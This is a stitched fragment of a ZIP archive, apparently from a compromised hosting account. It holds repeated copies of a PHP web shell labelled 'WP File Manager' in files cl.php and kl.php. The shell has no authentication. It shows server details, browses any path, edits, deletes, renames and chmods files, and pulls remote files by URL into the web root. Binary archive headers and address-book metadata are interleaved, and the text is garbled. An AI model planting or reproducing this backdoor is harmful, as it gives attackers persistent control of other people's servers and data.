Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]Jþ_BB"team@dunyagozbalkans.com/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. [calendar] protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c type VCALENDAR PK“&{]„N9³§Ë§Ëteam@dunyagozbalkans.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëteam@dunyagozbalkans.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
